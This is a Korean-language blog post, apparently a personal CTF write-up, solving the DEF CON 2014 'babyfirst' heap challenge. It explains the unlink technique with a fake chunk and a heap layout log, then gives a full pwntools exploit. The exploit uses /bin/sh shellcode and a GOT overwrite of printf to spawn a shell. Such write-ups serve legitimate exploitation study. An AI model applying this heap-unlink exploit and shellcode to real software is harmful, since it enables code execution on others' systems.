본문 바로가기

공부는 계속 ../Pwnable Writeup

defcon 2014 Baby_first_heap

babyfirst

test.py



오랜만에 포스팅을 한다.


데이큰 2014 워밍업 문제였는데, 엄청 쉬운 문제이다. (풀고보니 이거 풀기전에 Double FreeBug 완벽한 이해가 좀 필요할듯..)



힙 주소까지 모두 알려줘서 릭할 필요조차 없다.


아직 힙 구조에대해서 익숙하지 않고.. 또 몇일 보지 않았더니 unlink가 헷갈렸다. 


이전 것을 좀 복습해야겠다. 

근데 free함수를 보면 fd+8=bk 는 어디에 나오는거지??

-> IDA로 보면 알 수 있음 어셈블리로 보면 fd+8 = bk, bk+4 = fd 해주는것을 볼 수 있음











또 왜 260짜리 청크 다음 청크의 PREV_INUSE 값을 1로 바꾸는거지..


디버깅을 해보자 내일 !


-> 디버깅을 해봐도 모르겠고..


나름대로 정리해본 결과 fake_chunk를 [260]청크 다음 넣어 줬으므로 [260]청크를 해제하기 전 상황은 다음과 같다.


[해제][260][fake_chunk : 해제]


그러므로 [260]을 해제하면 그 다음 fake_chunk의 fd, bk는 바귈것이라고 생각이 된다만..


또 이해가 안가는게 fake_chunk가 해제되어있는지 알아볼려면 fake_chunk 다음 청크의 prev_inuse값을 확인해야 될 텐데.. 


모르겠다.. 아래 그림을 보면 그 말이 맞을 듯 하다.



여기서 PREV 는 Fake chunk의 fd, NEXT 는 bk 라고 보면 됨


fake chunk 다음 의 prev_inuse의 값이 0인 것으로 보아 fake_chunk는 해제되어있다는 것을 알 수 있고


그럼 이전 포스팅(Double Free buf) 에서 했던 방식과 똑같아 진다.


여기서 중요한 것은 Fake_chunk의 Prev_inuse 를 1로 줘야하는데, 그 이유는 만약 여기서 0을 줘버리게 된다면


9번째 힙 을 해제할때 10번째(260사이즈)가 해제되었다고 판단을 해서 260사이즈를 갖는 청크의 fd, bk 를 조작하려 들 것이다.


하지만 보시다시피 이 값들은 41414141로 덮여있어서 segment fault가 발생할 것이다.


이전에 한글로된 Write-up을 보면 다 이상하게 설명을 해놔가지고 고생을 좀 했다. 


뭐 기존의 병합을 끊는다거나 ,.. 난 이해가 가질 않는다.. 사실 무슨 말인지도 모르겠다..


암튼 중요한건  지금 아래와 같은 상황일 것이고


[ALLOC][loc=845D008][size=1246]

[ALLOC][loc=845D4F0][size=1121]

[ALLOC][loc=845D958][size=947]

[ALLOC][loc=845DD10][size=741]

[ALLOC][loc=845E000][size=706]

[ALLOC][loc=845E2C8][size=819]

[ALLOC][loc=845E600][size=673]

[ALLOC][loc=845E8A8][size=1004]

[ALLOC][loc=845EC98][size=952]

[ALLOC][loc=845F058][size=755]

[ALLOC][loc=845F350][size=260]


[Fake_Chunk] 


0000000000000000...  <- 이것도 청크로 인식을 해버릴듯 (이건 다음 chunk(size=870)에서 Fake chunk를 구성하고 남은 데이터임)


[ALLOC][loc=845F458][size=877]

[ALLOC][loc=845F7D0][size=1245]

[ALLOC][loc=845FCB8][size=1047]

[ALLOC][loc=84600D8][size=1152]

[ALLOC][loc=8460560][size=1047]

[ALLOC][loc=8460980][size=1059]

[ALLOC][loc=8460DA8][size=906]

[ALLOC][loc=8461138][size=879]

[ALLOC][loc=84614B0][size=823]



size=755 짜리 힙 을 해제하려고 하면 이놈은 이웃 청크가 TopChunk가 아님을 확인하고, free_chunk 인지 확인하려들 것이다.


size=260인 힙이 free_chunk인지 확인하는 방법은 Fake_chunk의 Size부분 PREV_INUSE 값을 확인하면 되는데 이 값은 우리가 1로 줬다 ㅎㅎ


그러면 이전에 병합하던거랑 병합을 할 것이고 ( 첫번째부터 계속 free를 했으므로 첫 번째 청크에 fd, bk만 쓰이고 나머지는 그냥 합쳐질 것이다)


그리고 문제의 size=260이 free될때의 순간이다.


같은 방식으로 Fake_chunk가 Free_chunk인지 확인하기 위해 사이즈 만큼 뛰어서 그 값을 확인할 것인데 거길 보면 PREV_INUSE (0)일 것이다.


그래서 여기서 부터 새롭게 병합이 일어난다는 뜻이다. (그래서 기존의 병합을 끊는다고 말하는 것 같다)


그럼 여기서 Fake_chunk 의 size 헤더를 1로 설정해준 이유는 ? 


일단 size는 0이라고 읽을 것이고, prev_inuse 가 1이라는 뜻이다.


그럼 fake_chunk가 free_chunk인지 확인하려면 size+4의 값이 그 다음 청크의 size헤더 일거고 이 값은 내가 printf_got-8


로 입력을 해놓았다. 이 값이 뭔지는 모르겠지만 운이 좋게 최하위 비트가 0이 였을 것이다.


좀 더 정확하게 하려면 0x19 처럼 fd, bk 를 뛰어넘는 곳에 .. 그리고 최하위 비트를 1로 올려주고.. 그럼 정확히 말하면 사이즈가 0x18이 됨


이 부분은 그냥 00000000..... 이므로 자연스럽게 PREV_INUSE값이 0임을 확인할 수 있고, fake_chunk는 이전 청크와 병합(Unlink)을 시도하면서 


여기서부터 새로운 병합이 발생하게 된다!! 


그럼 공격에 성공하는 값은 size 8이상 + 최하위 1비트  => 1001(0x9), 11001(0x19), 11101(0x1D), 11111(0x1F), 1111111(0x7F) 등등...


그럼 0xffffffff 은 ? (size는 0xffffffff & 0xffffffc  = -4 ) 이므로 -4 + 4 = 제자리  ---> 제자리에는 최하위 비트가 1 이므로 안될 것임


그럼 0xfffffffc 은? 최 하위 비트가 0이므로 9번째 힙을 해제할때, 즉 취약점에 도달 하기도 전에 오류로 병합이 깨질 것이다!


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
 
= process('babyfirst')
 
elf = ELF('babyfirst')
 
printf_got = elf.got['printf']
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
 
 
print p.recvuntil("[size=755]")
print p.recvuntil("[ALLOC][loc=")
heap_ptr = int(p.recvuntil("350"),16)
print "[*] Heap PTR: " + hex(heap_ptr)
print p.recvuntil("Write to object [size=260]:")
 
 
exitfunc = 0x804C8AC
payload = p32(0x50eb)
payload += "\x90"*100
payload += shellcode
payload += "A"*(260 - len(payload))
payload += p32(1)
payload += p32(printf_got-8)
payload += p32(heap_ptr)
 
p.sendline(payload)
p.interactive()
cs


'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글

DEFCON CTF Qual 2017 beatmeonthedl  (0) 2018.03.20
2014 hitcon stkof (unsafe unlink)  (0) 2018.03.19
heap 문제 풀이 목록  (0) 2018.03.13
Codegate 2017 messenger  (0) 2018.03.01
Plaid CTF 2014 ezhp  (0) 2018.03.01